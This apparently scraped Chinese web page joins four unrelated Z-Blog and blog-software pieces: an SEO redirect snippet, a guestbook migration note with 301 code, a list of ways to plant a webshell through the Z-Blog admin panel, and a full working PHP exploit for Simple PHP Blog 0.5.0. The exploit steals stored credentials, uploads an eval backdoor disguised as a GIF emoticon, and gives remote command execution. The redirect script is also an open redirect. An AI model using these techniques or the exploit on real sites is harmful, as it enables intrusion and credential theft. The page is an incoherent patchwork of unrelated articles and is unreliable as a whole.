一 : Z-Blog 利于SEO的外链跳转形式url.asp?url=
我发现不少使用z-blog博客程序的博主,把外链跳转的形式更改为http://域名/url.asp?url=http://www.***.net,后来发现z-blog自 带的主题模板的评论链接也是使用类似形式,据说如此的链接跳转有利于SEO,使用z-blog做淘宝客的朋友,首页太多外链不利于SEO,建议使用这个方法。下面是博客吧搜索到的设置方法。
z-blog外链跳转url.asp?url=形式设置方法:
1.新建一个url.asp文件,把下面的代码添加进入,保存后,上传到z-blog根目录
<%
dim url
dim baiyea_url
baiyea_url=request("url")
Response.Redirect baiyea_url
%>
在浏览器输入http://你的域名/url.asp?=http://www.***.net,如果能跳转到网站就表示成功;(原理:这是段简单的asp代码,dim表示定义变量;Redirect表示把用户重定向到一个不同的URL。)
2.在z-blog的ADMINFCKeditoreditordialog目录下找到fck_link.html文件,并对其进行编辑,在其中找到以下代码:
<select id="cmbLinkProtocol">
<option value="http://" selected="selected">http://</option>
<option value="https://">https://</option>
<option value="ftp://">ftp://</option>
<option value="news://">news://</option>
<option value="" fckLang="DlgLnkProtoOther"><other></option>
</select>
将其替换为以下代码
<select id="cmbLinkProtocol">
<option value="http://www.***.net/url.asp?url=http://"selected="selected">url.asp?url=http://</option>
<option value="http://" selected="selected">http://</option>
<option value="https://">https://</option>
<option value="ftp://">ftp://</option>
<option value="news://">news://</option>
<option value="" fckLang="DlgLnkProtoOther"><other></option>
</select>
PS:把www.***.net替换为自己的z-blog博客域名
3.添加以上代码是修改FCKeditor编辑器,主要是为了方便插入外链时使用http://www.***.net/url.asp?url=http://www.hadeasy.com这种形式
4.之后在编辑文章添加外链接,在“插入/编辑超链接以及上传附件”中的协议选择url.asp?url=http://
提示:使用z-blog博客且外链多的朋友,建议使用这种方法。
参考文章:z-blog官方论坛
转载请注明出处:博客吧
注:相关网站建设技巧阅读请移步到建站教程频道。
二 : Z-blog留言本的关闭和改造
从今天起,卢松松博客正式关闭Z-blog博客自带的留言本功能,开启一套新的留言本,之前留言的数据全部移植到新留言本中,而主博客的留言本数据全[www.61k.com)部删除清0。
关闭Z-blog留言本的原因。
首先,由于博客多方面原因,导致现在评论量大的时候,尤其是几个用户同时评论,会导致评论速度下降,甚至要等上十几秒才能提交成功,严重影响了用户体验,所以把留言本剥离出去,分担Z-blog的数据压力。
其次,由于我并未采用加干扰码的方式输出连接,而是直接现实网址,在加上搜索“留言本”比较靠前,导致一些别有用心的人总通过程序、软件等方式在此页面下将大量垃圾留言发布于此。
最后,再考虑到留言本日后的功能扩展和优化,所以我做了一个艰难的决定,关闭Z-blog博客现有留言本功能。
移植留言本,我都做了哪些工作。
MessyCS曾在我博客留言本上说过,我博客在访问量大时性能方面有暴露了很多问题,移植留言本是我改造博客是其中一部分。
1:保证网页结构的一致性。
其实这套留言本程序在上周已启用,到现在都没人看出来,主要是我在模板设计和界面上完全照搬了原来的模板。唯一有能看出变化的是路径,Z-blog默认留言本是guestbook.asp,就为了改后面这几个字符(.asp),从guestbook.asp改到guestbook(根目录)。其次是留言本数据的调用,现在博客各个页面均采用JS调用方式,不知道有多影响速度。
2:给留言本做301重定向。
由于只是一个单页,是ASP程序,所以做301定向比较简单,以下是ASP做301从定向代码,只需把guestbook.asp这个页面替换成以下代码即可,域名注意要换成你想重定向的网址上。
ASP:
<%
Response.Status="301 Moved Permanently"
Response.AddHeader "Location","http://lusongsong.com/guestbook/"
Response.End
%>
PHP:适用于wordpress等程序。
header("HTTP/1.1 301 Moved Permanently");
header("Location:http://lusongsong.com/guestbook/");
exit();
附一:301重定向代码和测试工具(国外测试)(国内测试),如果出现结果200表明请求已成功,请求所希望的响应头或数据体将随此响应返回。更多方法请参见“详解301永久重定向”。
附二:未来即将发布的《低调与华丽模板》将保留留言本模板功能,使用此模板的用户不受影响,主要在模板性能上作出调整。
附三:很多人问我博客精彩语录是怎么搭建是,其实就是用一个ASP留言本改的,和这套留言本的方法是一样的。
三 : Z-blog后台拿SHELL方法总结
一、在上传类型添加asp或者asa然后上传大马就好了
二、进后台在附件那上传*.asp;1.jpg,不要选择“自动命名上传文件”,上传目录是http://www.***.com/upload/*.asp;1.jpg
三、插件管理--TotoroⅡ插件,导出此插件,下载本地利用文本形式打开base64加密的,自己用一句话或小马去base64加密下替换之,修改Totoro/ajaxdel.asp文件名,再进后台删了这个插件重新上传安装下,你的SHELL地址就是PLUGIN/Totoro/xxxx.asp了。
四 : Simple PHP Blog (SPHPBlog)
<?
/*
sIMPLE php bLOG 0.5.0 eXPLOIT
bY mAXzA 2008
*/
function curl($url,$postvar){
global $cook;
$ch = curl_init( $url );
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_HEADER, 1);
curl_setopt ($ch, CURLOPT_REFERER,"$url");
if (strlen($postvar)<3) $postvar="123";
curl_setopt ($ch, CURLOPT_POSTFIELDS, $postvar);
if (strlen($cook)>3)
curl_setopt ($ch, CURLOPT_COOKIE, "$cook");
$res = curl_exec ($ch);$err=curl_error ( $ch );if ($err) print "<hr>$err<hr>";
curl_close($ch);
return $res;
} function error($msg){
print "<hr>$msg<hr>n<h1>Not Exploitable";exit;
} extract($_POST);extract($_GET); print "<pre>URL:<form method=post><input size=80 name=url value=`$url`>";
if (strlen($eval)>3){
$eval=stripslashes($eval);
print "nEnter PHP Command:n<textarea name=eval rows=10 cols=90>$eval</textarea>";
print "<input type=submit value='Eval'></form>";
$res=curl("$url/images/emoticons/sphp.php","z=$eval");
$res=strstr($res,"GIF89a");
print substr($res,41);exit;
} if (strlen($url)>10)
{
print "n<hr>Trying to Get /config/users.php...";flush();
$res=curl($url."/config/users.php","");
if (strstr($res,'|')) print "Done!nn$res";
else error("nnUsername & Password Not Foundnn$res"); print "n<hr>Trying to Get Username & Password...";flush();
$res=str_replace("rn","n",$res);
$res=substr($res,strpos($res,"nn") 2);
$line=explode("n",$res);$n=count($line)-1;
if ($n) {
print "nDone! Found - $n users:n";
for ($x=0;$x<$n;$x ){
$up=explode("|",$line[$x]);$user[$x]=$up[1];$pass[$x]=substr($up[2],0,2);
print "nUsername - ".$up[1]."tPassword - ".$up[2];
}
} print "n<hr>Trying to Login...";flush();
$postvar="user=$user[0]&pass=$pass[0]&";
$res=curl($url."/login_cgi.php","$postvar");
$cook=strstr($res,'Set-Cookie: sid=');
$cook=substr($cook,12,strpos($cook,';')-12);
if ($cook) print "nnDone... Cookie - $cook";else error("n<h1>Error To Login</h1>nnn$res"); print "n<hr>Trying to Upload Emoticon...";flush();
$buf="R0lGODlhAQABAIAAAP///wAAACH5BAEUAAAALAAAAAABAAEAAAICRAE8PyBldmFsKHN0cmlwc2xhc2hlcygkX1BPU1Rbel0pKTtleGl0Oz8 Ow==";
if (@filesize('sphp.php')!=82){
$f=fopen('sphp.php',"w");fwrite($f,base64_decode($buf));fclose($f);
}
$f=getcwd()."/sphp.php";
$res=curl($url."/emoticons.php",array('user_emot'=>"@$f"));
if (strstr($res,"Success!")) print "nnDone! Exploit path - $url/images/emoticons/sphp.php"; else error("n<h1>Error To Upload</h1>nnn$res"); print "n<hr>Trying to Exploit...";flush();
$res=curl($url."/images/emoticons/sphp.php","z=print 20080824;");
if (strstr($res,"20080824")) print "nnDone! Exploit Working!"; else error("n<h1>Error To Exploit</h1>nnn$res"); print "n<hr>Trying to Logout...";flush();
$res=curl($url."/logout.php","");
if (strstr($res,"You are now logged out")) print "nnDone!"; else error("n<h1>Error To Logout</h1>nnn$res");
print "nEnter PHP Command:n<textarea name=eval rows=10 cols=90></textarea>";
}
print "<input type=submit ></form>";
?>
本文标题:
z-blog-Z-Blog 利于SEO的外链跳转形式url.asp?url= 本文地址:
http://www.61k.com/1070158.html